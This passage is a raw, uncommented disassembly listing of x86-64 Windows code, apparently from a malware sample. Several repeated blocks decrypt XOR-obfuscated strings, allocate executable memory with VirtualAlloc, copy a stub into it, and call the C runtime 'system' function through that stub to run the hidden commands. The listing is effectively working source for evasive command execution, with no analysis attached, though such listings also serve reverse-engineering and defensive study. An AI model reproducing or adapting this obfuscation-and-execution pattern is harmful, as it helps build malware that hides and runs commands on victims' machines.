punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x38
jl 0x14003e3c2
cmp r8d, 0x39
jge 0x14003e501
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x39
jl 0x14003e4d0
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x418], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
lea rdi, [0x1400444b0]
mov ecx, r13d
test rax, rax
je 0x14003e579
mov rdx, r13
nop dword [rax]
cmp rax, rdi
je 0x14003e568
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003e550
jmp 0x14003e579
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003e660
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003e5a2
mov r8, r13
jmp 0x14003e63f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003e5b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x418]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [0x140055ee0]
movups xmm1, xmmword [0x140055ef0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140055f00]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140055f10]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003e7fd
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x14003e710
jmp 0x14003e83a
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x14003e810
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x420], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14003e8a9
mov rdx, r13
nop
cmp rax, rdi
je 0x14003e898
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003e880
jmp 0x14003e8a9
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003e990
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003e8d2
mov r8, r13
jmp 0x14003e96f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003e8e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x420]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [0x140055ee0]
movups xmm1, xmmword [0x140055ef0]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140055f00]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140055f10]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003eb2d
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x14003ea40
jmp 0x14003eb6a
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x14003eb40
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x428], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14003ebd9
mov rdx, r13
nop
cmp rax, rdi
je 0x14003ebc8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003ebb0
jmp 0x14003ebd9
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003ecc0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003ec02
mov r8, r13
jmp 0x14003ec9f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003ec10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x428]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [0x140056010]
movups xmm1, xmmword [0x140056020]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140056030]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140056040]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003ee5d
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x14003ed70
jmp 0x14003ee9a
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x14003ee70
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x430], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14003ef09
mov rdx, r13
nop
cmp rax, rdi
je 0x14003eef8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003eee0
jmp 0x14003ef09
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003eff0
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003ef32
mov r8, r13
jmp 0x14003efcf
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003ef40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x430]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [0x140055ea8]
movups xmm1, xmmword [0x140055eb8]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140055ec8]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140055ed8]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003f18d
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x14003f0a0
jmp 0x14003f1ca
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x14003f1a0
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x438], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14003f239
mov rdx, r13
nop
cmp rax, rdi
je 0x14003f228
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003f210
jmp 0x14003f239
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003f320
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003f262
mov r8, r13
jmp 0x14003f2ff
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x14003f270
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401eb7d0]
mov qword [r12 + rax*8 + 0x1ebb10], rdi
mov qword [r12 + rax*8 + 0x1eb7e0], r8
inc rax
mov qword [0x1401eb7d0], rax
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x438]
call r8
mov rcx, qword [rbp + 0x20]
xor rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rax], rcx
lea rcx, [rbp + 0x40]
call fcn.140043b70
lea rcx, [rbp + 0x80]
call fcn.140043b70
mov edx, 0x10
lea rcx, [rbp + 0x80]
call fcn.14003a520
mov r10, rax
mov r8d, r13d
movups xmm0, xmmword [0x140055fd8]
movups xmm1, xmmword [0x140055fe8]
movups xmmword [rbp + 0xa0], xmm0
movups xmm0, xmmword [0x140055ff8]
movups xmmword [rbp + 0xb0], xmm1
movups xmmword [rbp + 0xc0], xmm0
movsd xmm0, qword [0x140056008]
movsd qword [rbp + 0xd0], xmm0
cmp r14d, 2
jl 0x14003f4bd
movdqa xmmword [rbp], xmm12
lea rcx, [rbp + 0xa4]
mov r8d, dword [rbp]
mov edx, r13d
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm11
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x38
jl 0x14003f3d0
jmp 0x14003f4fa
lea r9, [rbp + 0xa0]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x38
jl 0x14003f4d0
mov r8, r10
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x40]
call fcn.1400441e0
mov rcx, rax
call fcn.140043b60
lea rdx, [rsp + 0xaf8]
mov qword [rbp + 0x440], rax
lea rcx, [rbp + 0x20]
call fcn.1400399d0
mov rax, qword [0x1401ebb10]
mov ecx, r13d
test rax, rax
je 0x14003f569
mov rdx, r13
nop
cmp rax, rdi
je 0x14003f558
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x1ebb10]
test rax, rax
jne 0x14003f540
jmp 0x14003f569
mov r8, qword [r12 + rdx*8 + 0x1eb7e0]
test r8, r8
jne 0x14003f650
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003f592
mov r8, r13
jmp 0x14003f62f
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
